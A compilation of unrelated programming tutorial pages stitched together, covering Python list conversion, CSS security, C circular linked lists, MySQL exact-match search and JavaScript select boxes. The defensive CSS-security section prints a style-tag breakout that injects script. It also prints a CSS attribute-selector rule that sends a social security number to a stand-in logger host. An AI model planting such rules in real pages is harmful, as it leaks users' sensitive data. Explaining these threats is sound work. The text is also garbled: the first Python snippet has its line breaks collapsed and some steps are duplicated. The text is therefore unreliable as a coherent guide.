# Python3 code to demonstrate working of # Convert List of Dictionaries to List of Lists# Using loop + enumerate()  # initializing listtest_list = [{'Nikhil' : 17, 'Akash' : 18, 'Akshat' : 20},             {'Nikhil' : 21, 'Akash' : 30, 'Akshat' : 10},             {'Nikhil' : 31, 'Akash' : 12, 'Akshat' : 19}]  # printing original listprint("The original list is : " + str(test_list))  # Convert List of Dictionaries to List of Lists# Using loop + enumerate()res = []for idx, sub in enumerate(test_list, start = 0):    if idx == 0:        res.append(list(sub.keys()))        res.append(list(sub.values()))    else:        res.append(list(sub.values()))  # printing result print("The converted list : " + str(res)) 
The original list is : [{‘Akash’: 18, ‘Nikhil’: 17, ‘Akshat’: 20}, {‘Akash’: 30, ‘Nikhil’: 21, ‘Akshat’: 10}, {‘Akash’: 12, ‘Nikhil’: 31, ‘Akshat’: 19}]The converted list : [[‘Akash’, ‘Nikhil’, ‘Akshat’], [18, 17, 20], [30, 21, 10], [12, 31, 19]]
 
Method #2 : Using list comprehensionThis task can be solved in one line using list comprehension. In this, we extract the keys initially using keys() and values using values().
# Python3 code to demonstrate working of # Convert List of Dictionaries to List of Lists# Using list comprehension  # initializing listtest_list = [{'Nikhil' : 17, 'Akash' : 18, 'Akshat' : 20},             {'Nikhil' : 21, 'Akash' : 30, 'Akshat' : 10},             {'Nikhil' : 31, 'Akash' : 12, 'Akshat' : 19}]  # printing original listprint("The original list is : " + str(test_list))  # Convert List of Dictionaries to List of Lists# Using list comprehensionres = [[key for key in test_list[0].keys()], *[list(idx.values()) for idx in test_list ]]  # printing result print("The converted list : " + str(res)) 
The original list is : [{‘Akash’: 18, ‘Nikhil’: 17, ‘Akshat’: 20}, {‘Akash’: 30, ‘Nikhil’: 21, ‘Akshat’: 10}, {‘Akash’: 12, ‘Nikhil’: 31, ‘Akshat’: 19}]The converted list : [[‘Akash’, ‘Nikhil’, ‘Akshat’], [18, 17, 20], [30, 21, 10], [12, 31, 19]]
Python dictionary-programs
Python-list-of-lists
Python
Python Programs
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to secure cascading style sheets ?

14 Jun, 2022
Before learning how to secure cascading style sheets, let us first explore what are the threats that would cause through cascading stylesheets.
Threat 1: Let us assume that we are using embedded/internal CSS in our code and you are allowing a user some CSS customization, then there is a chance that the attacker could inject a JavaScript code by closing the style tag in the customizable internal CSS. 
Refer to the below snippet for better understanding. 
Code snippet:
<style>

/* If you have added the flexibility to 
   customize the CSS by the user */

/* Customizable CSS

</style>
The attacker could add a malicious JavaScript code by closing the style tag and adding a script tag as shown below.
 
<style>

</style>
<script>

// Some malicious JavaScript code
</script>
<style>

</style>
This occurs in a rare case as a user might not be given the flexibility to customize the cascading stylesheets always.
Threat 2: Suppose you are logged in to a website and that the site displays some sensitive information like social-security-number (ssn), then there is a chance that the attacker can get those sensitive information by using the CSS Attribute selectors. 
Code:
input#ssn[value="999-888-777"] { 
    background-image: url(
"https://secret-site.com/logger.php?ssn=999-888-777");
}
How to secure cascading stylesheets ?
Proper access control level: Keep the CSS away from the access control level. By the term “Access control level” it means that the normal user will have a different CSS file while the administrator has a different CSS file. Proper care should be taken for those respective CSS files that are accessible only for a user with the proper access control level or authentication.
CSS Obfuscation: The method CSS Obfuscation is to make the CSS unclear or confusing to the attacker. CSS Obfuscation can be done by using the following websites.
http://cssobfuscator.com/
https://www.uglifycss.com/
Implementing the Content Security Policy (CSP): Content Security Policy (CSP) helps to detect many types of attacks like data injection attacks and cross site scripting (XSS). By this way, an extra layer of security is given from data theft, malware distribution and replacing your own contents to some stolen websites.
You can configure CSP by using the meta tag as shown below.
<meta http-equiv="Content-Security-Policy"
charset="UTF-8" content="default-src 'self';
img-src 'self' img.example.com;">
Scanning website with vulnerability scanner: Scanning your website with a vulnerability scanner is a best practice, these scanner not just detect CSS or XSS injections, but also showcase other possible vulnerabilities in your website.
Some of the online vulnerability scanners are
https://pentest-tools.com/website-vulnerability-scanning/website-scanner https://sitecheck.sucuri.net/ https://www.netsparker.com/web-vulnerability-scanner/
These are some of the techniques for securing your cascading stylesheets.
rkbhola5
CSS-Misc
CSS
Web Technologies
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Count nodes in Circular linked list in C++

We are given a circular linked list with the nodes and the task is to calculate the count of nodes present in a circular linked list.
Circular Linked List is a variation of Linked list in which the first element points to the last element and the last element points to the first element. Both Singly Linked List and Doubly Linked List can be made into a circular linked list.
In the below program, we are implementing a singly linked list as a circular linked list to calculate the count of nodes in that.
Input − nodes-: 20, 1, 2, 3, 4, 5
Output − count of nodes are-: 6
Input − nodes-: 20, 1, 2, 3, 4, 5, 7, 8, 9, 12
Output − count of nodes are-: 10
Approach used in the below program is as follows −
Create the structure for a singly linked list including the address and data held by the node.
Create the structure for a singly linked list including the address and data held by the node.
Create a push() function that will be used to insert the data into the node.
Create a push() function that will be used to insert the data into the node.
In the last node, store the address of the first node to make a singly linked list function as a circular linked list.
In the last node, store the address of the first node to make a singly linked list function as a circular linked list.
Create a count function that will count the total number of nodes present in a circular linked list.
Create a count function that will count the total number of nodes present in a circular linked list.
 Live Demo
#include <stdio.h>
#include <stdlib.h>
/* Defining a node */
struct node {
   int data;
   struct node* next;
};
// Inserting node in Circular list
void push(struct node** head_ref, int data){
   struct node* ptr1 = (struct node*)malloc(sizeof(struct node));
   struct node* temp = *head_ref;
   ptr1->data = data;
   ptr1->next = *head_ref;
   // going to the last node to insert new element.
   if (*head_ref != NULL){
      while (temp->next != *head_ref){
         temp = temp->next;
      }
      temp->next = ptr1;
   } else{
      ptr1->next = ptr1; //for first node
   }
   *head_ref = ptr1;
}
// Function to count the number of nodes
int count_fun(struct node* head){
   struct node* temp = head;
   int result = 0;
   if (head != NULL){
      do {
         temp = temp->next;
         result++;
      } while (temp != head);
   }
   return result;
}
int main(){
   /* Initializing the list as empty */
   struct node* head = NULL;
   push(&head, 10);
   push(&head, 20);
   push(&head, 30);
   push(&head, 40);
   printf("count of nodes are: %d", count_fun(head));
   return 0;
}
If we run the above code it will generate the following output −
count of nodes are: 4
How to search for exact string in MySQL?

You can use binary to search for exact string in MySQL. The syntax is as follows:
SELECT * FROM yourTableName WHERE BINARY yourColumnName = yourStringValue;
To understand the above syntax, let us create a table. The query to create a table is as follows:
mysql> create table ExactSearch
   -> (
   -> Id int NOT NULL AUTO_INCREMENT,
   -> UserId varchar(10),
   -> UserName varchar(20),
   -> PRIMARY KEY(Id)
   -> );
Query OK, 0 rows affected (0.69 sec)
Insert some records in the table using insert command. The query is as follows:
mysql> insert into ExactSearch(UserId,UserName) values('USER12','John');
Query OK, 1 row affected (0.11 sec)

mysql> insert into ExactSearch(UserId,UserName) values('12USER','Carol');
Query OK, 1 row affected (0.20 sec)

mysql> insert into ExactSearch(UserId,UserName) values('USER123','Bob');
Query OK, 1 row affected (0.15 sec)

mysql> insert into ExactSearch(UserId,UserName) values('USER231','Sam');
Query OK, 1 row affected (0.18 sec)
Display all records from the table using select statement:
mysql> select *from ExactSearch;
The following is the output:
+----+---------+----------+
| Id | UserId  | UserName |
+----+---------+----------+
|  1 | USER12  | John     |
|  2 | 12USER  | Carol    |
|  3 | USER123 | Bob      |
|  4 | USER231 | Sam      |
+----+---------+----------+
4 rows in set (0.00 sec)
Here is the query to search for exact string in MySQL. We are searching for string “USER123”:
mysql> select *from ExactSearch where binary UserId = 'USER123';
The following is the output:
+----+---------+----------+
| Id | UserId  | UserName |
+----+---------+----------+
| 3  | USER123 | Bob      |
+----+---------+----------+
1 row in set (0.00 sec)
How to programmatically set the value of a select box element using JavaScript?

We can set the value of a select box using Javascript using the following. Suppose we have the following select box −
<select id="my-select" value="1">
   <option value="1">Select</option>
   <option value="2">Apple</option>
   <option value="3">Strawberry</option>
   <option value="4">Cherry</option>
   <option value="5">Guava</option>
</select>
To set the value of this select element, we need to access it using
querySelector. Then set the value. For example −
// Search the select box
const mySelectBox = document.querySelector('#my-select');
// Set the value to 3 or Strawberry
mySelectBox.value = 3;